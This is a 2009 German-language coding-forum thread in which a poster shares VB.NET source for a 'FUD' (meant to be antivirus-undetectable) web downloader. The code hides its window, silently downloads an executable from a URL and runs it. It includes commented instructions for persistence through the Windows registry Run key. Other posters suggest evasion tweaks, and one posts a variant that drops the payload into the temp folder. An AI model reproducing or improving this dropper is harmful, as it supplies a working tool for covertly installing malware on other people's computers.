PHP Forum - Coding Board

Programmierung => VB.NET => Thema gestartet von: r3miX am Januar 17, 2009, 07:02:21



Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: r3miX am Januar 17, 2009, 07:02:21
Hallo zusammen,
hier mein FUD Webdownloader, by r3miX ;)
Alles durchkommentiert und übersichtlich gestaltet ;)

FUD Webdownloader Source:
Code:
'~Falls ihr den Registryeintrag wählt, müsst ihr das noch "importieren" ;)
'##Code Anfang##
'Imports Microsoft.Win32
'##Code Ende##

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 0%                     '~Form unsichtbar machen.
        Me.ShowInTaskbar = False            '~Form vor der Taskleiste unsichtbar machen.

        Dim uL As String = TextBox1.Text         '~Url festlegen(in textbox).
        Dim dL As System.Net.WebClient = New System.Net.WebClient
        Dim dat As String = uL              '~Url wird vereinfacht(unnötig).
        Dim nam As String = "C:\NAME.exe"   '~Pfad + Name -> Speicherort.
        dL.DownloadFile(dat, nam)           '~Download wird durchgefüh
        System.Threading.Thread.Sleep(1000)
        Process.Start("C:\NAME.exe")        '~.exe wird gestartet.
        System.Threading.Thread.Sleep(1000) '~Warten, bis exe geloaded ist
        Me.Close()                          'Form schlie?en -> Download erfolgreich :)

        '~Natürlich könnte man die .exe erst in die Registry eintragen, und die .exe
        '~erst beim Reboot starten lassen ;)
        '~Das würde dann so gehen:
        '##Code Anfang##
        'Dim RegKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
        'RegKey.SetValue("PROGRAMM", "PFAD ZUM PROGRAMM)
        'RegKey.Close()
        '##Code Ende##
        '~Natürlich ohne die '-Teile.

        'by R3MiX :)
        'codesoft.cc
    End Sub
End Class

Originallink: http://board.codesoft.cc/showthread.php?t=2883
Und ja, ich r3miX x.x (L1ght1 kann es bestätigen!)


Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: PHIPU am März 11, 2009, 01:26:06
Q & P ist ganz einfach ne?
BILLIG


Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: Scylla am März 11, 2009, 05:36:37
hat er nicht copy und past hat er selber geschrieben :)


Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: krusty am Juni 30, 2009, 03:20:21
jede ansträndige firewall wird da rummäckern, au?erdem muss man bei vista admin sein, um sachen nach C zu verschieben, zu kopieren oder sonstiges, soweit ich wei?.


Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: fella am Juni 30, 2009, 03:26:24
dann lass die EXE halt mit dem Admin parameter starten/kopieren ?


Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: VooDoo666 am September 01, 2009, 12:19:25
Drop doch lieber auf tmp, und der Sleep ist auch nicht notwendig!

Code:
[COLOR=darkblue]Public[/COLOR] [COLOR=darkblue]Class[/COLOR] Form1
[COLOR=darkblue]Private[/COLOR] [COLOR=darkblue]Sub[/COLOR] Form1_Load([COLOR=darkblue]ByVal[/COLOR] sender [COLOR=darkblue]As[/COLOR] System.[COLOR=darkblue]Object[/COLOR], [COLOR=darkblue]ByVal[/COLOR] e [COLOR=darkblue]As[/COLOR] System.EventArgs) [COLOR=darkblue]Handles[/COLOR] [COLOR=darkblue]MyBase[/COLOR].Load
    [COLOR=darkblue]Dim[/COLOR] URL [COLOR=darkblue]As[/COLOR] [COLOR=darkblue]String[/COLOR] [COLOR=black]=[/COLOR] [COLOR=darkred]"http://meinserver.de/meineapplikation.exe"[/COLOR]
    [COLOR=darkblue]Dim[/COLOR] client [COLOR=darkblue]As[/COLOR] System.Net.WebClient [COLOR=black]=[/COLOR] [COLOR=darkblue]New[/COLOR] System.Net.WebClient
    [COLOR=darkblue]Dim[/COLOR] nam [COLOR=darkblue]As[/COLOR] [COLOR=darkblue]String[/COLOR] [COLOR=black]=[/COLOR] ([COLOR=darkblue]Environ[/COLOR]([COLOR=darkred]"tmp"[/COLOR]) [COLOR=black]&[/COLOR] [COLOR=darkred]"download.exe"[/COLOR])    
        client.DownloadFile(URL, nam)

    Process.Start([COLOR=darkblue]Environ[/COLOR]([COLOR=darkred]"tmp"[/COLOR]) [COLOR=black]&[/COLOR] [COLOR=darkred]"download.exe"[/COLOR])
[COLOR=darkblue]End[/COLOR] [COLOR=darkblue]Sub[/COLOR]
[COLOR=darkblue]End[/COLOR] [COLOR=darkblue]Class[/COLOR]


Titel: [VB.NET] Fud Webdownloader by r3miX
Beitrag von: LeadOr am September 01, 2009, 04:27:55
naja aber sicher ist sicher ;)